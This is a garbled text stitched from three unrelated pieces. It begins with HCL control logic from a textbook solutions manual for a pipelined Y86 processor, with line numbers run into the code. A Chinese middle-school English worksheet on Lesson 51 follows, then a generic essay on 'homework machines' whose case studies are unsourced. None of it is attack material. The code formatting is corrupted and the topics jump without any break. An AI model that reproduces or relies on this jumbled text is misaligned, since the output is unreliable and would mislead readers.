in{ICALL,IPUSHL}:-4;138icode in{IRET,IPOPL}:4;139icode in{ILEAVE}:4;140#Other instructions don’t need ALU141];142143##Select input B to ALU144int aluB=[145icode in{IRMMOVL,IMRMOVL,IOPL,ICALL,146IPUSHL,IRET,IPOPL}:valB;147icode in{IIADDL,ILEAVE}:valB;148icode in{IRRMOVL,IIRMOVL}:0;149#Other instructions don’t need ALU1.4.CHAPTER4:PROCESSOR ARCHITECTURE21151152##Set the ALU function153int alufun=[154icode==IOPL:ifun;1551:ALUADD;156];157158##Should the condition codes be updated?159bool set_cc=icode in{IOPL,IIADDL};160161################Memory Stage###################################162163##Set read control signal164bool mem_read=icode in{IMRMOVL,IPOPL,IRET,ILEAVE};165166##Set write control signal167bool mem_write=icode in{IRMMOVL,IPUSHL,ICALL};168169##Select memory address170int mem_addr=[171icode in{IRMMOVL,IPUSHL,ICALL,IMRMOVL}:valE;172icode in{IPOPL,IRET}:valA;173icode in{ILEAVE}:valA;174#Other instructions don’t need address175];176177##Select memory input data178int mem_data=[179#Value from register180icode in{IRMMOVL,IPUSHL}:valA;181#Return PC182icode==ICALL:valP;183#Default:Don’t write anything184];185186################Program Counter Update############################187188##What address should instruction be fetched at189190int new_pc=[191#e instruction constant192icode==ICALL:valC;193#Taken e instruction constant194icode==IJXX&&Bch:valC;195#Completion of RET e value from stack196icode==IRET:valM;197#Default:Use incremented PC1981:valP;199];22CHAPTER 1.SOLUTIONS TO HOMEWORK PROBLEMSME DMispredictE DM E DM M E D E DMGen./use 1W E DM Gen./use 2WE DM Gen./use 3W Figure 1.1:Pipeline states for special control conditions.The pairs connected by arrows can arisesimultaneously.code/arch/pipe-nobypass-ans.hcl1.4.CHAPTER4:PROCESSOR ARCHITECTURE232#At most one of these can be true.3bool F_bubble=0;4bool F_stall=5#Stall if either operand source is destination of6#instruction in execute,memory,or write-back stages7d_srcA!=RNONE&&d_srcA in8{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||9d_srcB!=RNONE&&d_srcB in10{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||11#Stalling at fetch while ret passes through pipeline12IRET in{D_icode,E_icode,M_icode};1314#Should I stall or inject a bubble into Pipeline Register D?15#At most one of these can be true.16bool D_stall=17#Stall if either operand source is destination of18#instruction in execute,memory,or write-back stages19#but not part of mispredicted branch20!(E_icode==IJXX&&!e_Bch)&&21(d_srcA!=RNONE&&d_srcA in22{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||23d_srcB!=RNONE&&d_srcB in24{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE});2526bool D_bubble=27#Mispredicted branch28(E_icode==IJXX&&!e_Bch)||29#Stalling at fetch while ret passes through pipeline30!(E_icode in{IMRMOVL,IPOPL}&&E_dstM in{d_srcA,d_srcB})&&31#but not condition for a generate/use hazard32!(d_srcA!=RNONE&&d_srcA in33{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||34d_srcB!=RNONE&&d_srcB in35{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE})&&36IRET in{D_icode,E_icode,M_icode};3738#Should I stall or inject a bubble into Pipeline Register E?39#At most one of these can be true.40bool E_stall=0;41bool E_bubble=42#Mispredicted branch43(E_icode==IJXX&&!e_Bch)||44#Inject bubble if either operand source is destination of45#instruction in execute,memory,or write back stages46d_srcA!=RNONE&&47d_srcA in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}|| 48d_srcB!=RNONE&&49d_srcB in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE};5024CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 52#At most one of these can be true.53bool M_stall=0;54bool M_bubble=0;code/arch/pipe-full-ans.hcl 1####################################################################2#HCL Description of Control for Pipelined Y86Processor#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"pipeline.h"’15quote’#include"stages.h"’16quote’#include"sim.h"’17quote’int sim_main(int argc,char*argv[]);’18quote’int main(int argc,char*argv[]){return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’1.4.CHAPTER4:PROCESSOR ARCHITECTURE25 36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##########################48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic##############5152#####Pipeline Register F##########################################5354intsig F_predPC’pc_curr->pc’#Predicted value of PC5556#####Intermediate Values in Fetch Stage###########################5758intsig f_icode’if_id_next->icode’#Fetched instruction code59intsig f_ifun’if_id_next->ifun’#Fetched instruction function60intsig f_valC’if_id_next->valc’#Constant data of fetched instruction 61intsig f_valP’if_id_next->valp’#Address of following instruction 6263#####Pipeline Register D##########################################64intsig D_icode’if_id_curr->icode’#Instruction code65intsig D_rA’if_id_curr->ra’#rA field from instruction66intsig D_rB’if_id_curr->rb’#rB field from instruction67intsig D_valP’if_id_curr->valp’#Incremented PC6869#####Intermediate Values in Decode Stage#########################7071intsig d_srcA’id_ex_next->srca’#srcA from decoded instruction72intsig d_srcB’id_ex_next->srcb’#srcB from decoded instruction73intsig d_rvalA’d_regvala’#valA read from register file74intsig d_rvalB’d_regvalb’#valB read from register file 7576#####Pipeline Register E##########################################77intsig E_icode’id_ex_curr->icode’#Instruction code78intsig E_ifun’id_ex_curr->ifun’#Instruction function79intsig E_valC’id_ex_curr->valc’#Constant data80intsig E_srcA’id_ex_curr->srca’#Source A register ID81intsig E_valA’id_ex_curr->vala’#Source A value82intsig E_srcB’id_ex_curr->srcb’#Source B register ID83intsig E_valB’id_ex_curr->valb’#Source B value84intsig E_dstE’id_ex_curr->deste’#Destination E register ID。
LESSON51导学案
Lesson 51: Where Did They Go? 导学案编写：郭艳娥审核：审批：班级：组名：姓名：【学习目标】 1.扎实记忆单词短语；理解文章，把握主旨；培养听说读写的语言综合运用能力。
2.自主学习，合作探究；学会知识点用法。
3.学会谈论运动，激情投入，积极参与，体验学习中成就感与喜悦感。
【使用说明和学法指导】1.自背单词短语，同桌互查纠错；2.组长带领学习短语，并检查当堂知识的过关情况；3.当堂达标过关。
【预习自学】Step1.Words-check(单词自测).1 Jim (弄伤) his head yesterday2. How many ( (队员)are there in a football team?3. This kind of runners isn’t (贵的)in our city.4. I didn’t know you were a (出色的)football player.5. I (原以为)the box was light.Step2. Phrases-study.（短语自学，读课文，并在课文中找出下列短语，然后背诵。
）1.为……买……buy…..for…..2.一双跑鞋 a pair of runners3.和某人一起去体育馆go to the gym with sb.4.教某人去做某事teach sb. to do sth.5.弄伤了某人的手hurt one’s hand6.玩的开心have fun7.它是贵的it is expensive8.用……打篮球play basketball withStep3. Phrases-check（短语检测）.1. Mike is a good football (play).2. We (buy) some gifts for our parents.3. Did you learn (play) basketball?4. Do you have a pair of (run)?5. Where you (go) last night?6. I (teach) Marry (hit) the ball yesterday.【知识点探究】目标A: He is a good basketball player.他是一位出色的篮球运动员。
写作业机英语
写作业机英语Writing Assignment: The Era of Homework MachinesIntroduction:The concept of a "Homework Machine" has been a topic of discussion and debate in the educational sphere. This essay will explore the potential benefits and drawbacks ofutilizing such technology in the learning process.Theoretical Framework:A Homework Machine is an automated system designed to assist students in completing their assignments. It could range from a simple calculator to advanced AI systems that can generate essays, solve complex mathematical problems, and more.Benefits of Homework Machines:1. Efficiency: Homework Machines can complete assignments quickly, allowing students to save time for other activities.2. Accessibility: For students with learning disabilities, these machines can level the playing field by providing assistance in areas they struggle with.3. Motivation: Some students may feel more motivated to engage with their studies when they have a tool that helps them overcome challenges.Drawbacks of Homework Machines:1. Dependence: Over-reliance on Homework Machines could leadto a lack of independent thinking and problem-solving skills.2. Authenticity: There is a risk that students may use these machines to cheat, which undermines the integrity of their education.3. Creativity: The use of Homework Machines might stifle creativity, as students may not engage in the creativeprocess of problem-solving.Case Studies:- Positive Impact: A study conducted in a high school in California showed that students who used Homework Machinesfor math assignments showed a significant improvement intheir grades.- Negative Impact: Conversely, a university in the UKreported an increase in plagiarism cases after theintroduction of Homework Machines on campus.Technological Advancements:The development of Homework Machines is rapidly evolving. Newer models are equipped with features that can detect when they are being used inappropriately, such as plagiarism detection software.Ethical Considerations:The ethical use of Homework Machines is a critical issue. Schools and parents must establish clear guidelines on their use to ensure that they are tools for learning, not shortcuts.Conclusion:While Homework Machines offer potential benefits, they alsopresent significant challenges. It is essential to strike a balance between utilizing technology to enhance learning and maintaining the value of genuine educational experiences.Recommendations:- Schools should integrate Homework Machines into their curriculum with clear guidelines on their use.- Educators should monitor the use of these machines to ensure they are not being misused.- Parents and students should engage in discussions about the ethical implications of using Homework Machines.Reflection:The future of education is intertwined with technology. Homework Machines represent a shift in how we approach learning, and it is crucial to navigate this change thoughtfully and responsibly.This essay provides a comprehensive overview of the Homework Machine concept, discussing its potential impact on the educational landscape. It is important to consider both the opportunities and challenges that such technology presents.。